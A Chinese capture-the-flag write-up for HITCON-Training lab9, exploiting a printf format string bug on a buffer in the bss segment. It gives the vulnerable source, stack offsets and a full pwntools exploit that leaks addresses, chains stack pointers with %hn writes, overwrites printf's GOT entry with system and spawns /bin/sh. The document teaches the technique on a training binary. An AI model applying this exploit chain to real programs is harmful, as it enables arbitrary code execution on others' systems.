相比格式化字符串在栈上,这种情况的利用要复杂很多,更多的是要分步去改写对应的值
这里以HITCON—Training lab9为例,这是一道很经典的题目
参考星盟v1ctor师傅讲解
v1ctor师傅在视频里的exp,在我这打不通,我试了下,应该是字节写入的问题,有地方可能没改完全。
23R3F师傅
源码
#include <stdio.h> #include <unistd.h> #include <string.h>
char buf[200] ;
void do_fmt(){ while(1){ read(0,buf,200); if(!strncmp(buf,"quit",4)) break; printf(buf); } return ; }
void play(){ puts("====================="); puts(" Magic echo Server"); puts("====================="); do_fmt(); return; }
int main(){ setvbuf(stdout,0,2,0); play(); return; }
|
printf(buf)
有明显的格式化字符串漏洞,并且,从源码里就可以看到buf是存在bss段而不是栈上
gdb调试,断点下在printf上
根据上面两位师傅的讲解我们知道能够利用把漏洞利用串起来,从bss段改到栈上的跳板,就下面四条,偏移为6,7,10,11.
06:0018│ ebp 0xffffd458 —▸ 0xffffd468 —▸ 0xffffd478 ◂— 0x0 07:001c│ 0xffffd45c —▸ 0x8048584 (play+59) ◂— nop 08:0020│ 0xffffd460 —▸ 0xf7fbdd80 (_IO_2_1_stdout_) ◂— 0xfbad2887 09:0024│ 0xffffd464 ◂— 0x0 0a:0028│ 0xffffd468 —▸ 0xffffd478 ◂— 0x0 0b:002c│ 0xffffd46c —▸ 0x80485b1 (main+42) ◂— nop
|
Step 1
首先先利用漏洞泄漏地址,把上面四条要用的都找出来
payload
paylaod = 'aaaa%6$p' sl(paylaod) ru("aaaa") ebp_content = int(rv(10), 16) ebp_base = ebp_content - 0x10 step1 = ebp_content - 0xc step2 = ebp_content + 0x4 ms("ebp_content", ebp_content) ms("ebp_base", ebp_base) ms("ebp_content-0xc", step1) ms("main_offset", step2)
|
Step 2
接下来先把偏移6,7串起来,变成下面这样
接着就可以将play的低两位改成print_got
payload
payload1 = "%" + str(step1 & 0xffff) + "c%6$hn" sl(payload1)
rc()
payload2 = "%" + str(printf_got & 0xffff) + "c%10$hn" sl(payload2) rc()
while 1: sd("lnk") sleep(0.1) data = rc() if data.find("lnk") != -1: break
|
Step 3
我们的目的是
计算出system函数的地址 ,将system函数地址写入printf在got表的地址
所以我们先要泄漏出system的地址,无法直接泄漏,但是我们可以先利用格式化字符串漏洞泄漏printf的地址,然后通过偏移计算system
payload
leak_printf = 'aaaa%7$s' sl(leak_printf) ru("aaaa") printf_addr = u32(rv(4)) ms("printf_addr", printf_addr)
system_addr = printf_addr - printf_off + system_libc ms("system", system_addr)
|
Step 4
将system地址写入printf所在got表的位置的具体做法就是,在偏移为7的位置改低位,在偏移为11的位置改高位
因为无法直接改,所以我们又要通过跳板,就是最开始main那个跳板
改为这样
payload3 = "%" + str(step2 & 0xffff) + "c%6$hn" sl(payload3) rc()
payload4 = "%" + str((printf_got+2) & 0xffff) + "c%10$hn" sl(payload4) rc()
while 1: sd("lnk") sleep(0.1) data = rc() if data.find("lnk") != -1: break
|
Step 5
最后就是改printf地址为system,当再次调用printf函数的时候,就会通过got表找到system的地址,然后执行
payload
payload5 = "%" + str(system_addr & 0xffff) + "c%7$hn" payload5 += "%" + str((system_addr >> 16) - (system_addr & 0xffff)) + "c%11$hn" sl(payload5) rc() while 1: sd("lnk") sleep(0.1) data = rc() if data.find("lnk") != -1: break
sl("/bin/sh")
|
exp
有个很奇怪的点,我必须要加上context.log_level = 'debug'
才能够打通,不然最后那个while会报错….
很难绷得住💦
from pwn import *
context.log_level = 'debug' elf = ELF('./playfmt') libc = ELF('/lib/i386-linux-gnu/libc.so.6') io = process('./playfmt')
sl = lambda s : io.sendline(s) sd = lambda s : io.send(s) rv = lambda n : io.recv(n) rc = lambda : io.recv() ru = lambda s : io.recvuntil(s)
def ms(name,addr): print(name + "---->" + hex(addr))
def debug(mallocr,PIE=True): if PIE: text_base = int(os.popen("pmap {}| awk '{{print }}'".format(p.pid)).readlines()[1], 16) gdb.attach(io,'b *{}'.format(hex(text_base+mallocr))) else: gdb.attach(io,"b *{}".format(hex(mallocr)))
printf_got = elf.got['printf'] printf_off = libc.symbols['printf'] system_libc = libc.symbols['system'] paylaod = 'aaaa%6$p' sl(paylaod) ru("aaaa") ebp_content = int(rv(10), 16) ebp_base = ebp_content - 0x10 step1 = ebp_content - 0xc step2 = ebp_content + 0x4 ms("ebp_content", ebp_content) ms("ebp_base", ebp_base) ms("ebp_content-0xc", step1) ms("main_offset", step2)
payload1 = "%" + str(step1 & 0xffff) + "c%6$hn" sl(payload1)
rc()
payload2 = "%" + str(printf_got & 0xffff) + "c%10$hn" sl(payload2) rc()
while 1: sd("lnk") sleep(0.1) data = rc() if data.find("lnk") != -1: break
payload3 = "%" + str(step2 & 0xffff) + "c%6$hn" sl(payload3) rc()
payload4 = "%" + str((printf_got+2) & 0xffff) + "c%10$hn" sl(payload4) rc()
while 1: sd("lnk") sleep(0.1) data = rc() if data.find("lnk") != -1: break
leak_printf = 'aaaa%7$s' sl(leak_printf) ru("aaaa") printf_addr = u32(rv(4)) ms("printf_addr", printf_addr)
system_addr = printf_addr - printf_off + system_libc ms("system", system_addr) payload5 = "%" + str(system_addr & 0xffff) + "c%7$hn" payload5 += "%" + str((system_addr >> 16) - (system_addr & 0xffff)) + "c%11$hn" sl(payload5) rc()
while 1: sd("lnk") sleep(0.1) data = rc() if data.find("lnk") != -1: break raw_input('>') sl("/bin/sh") io.interactive()
|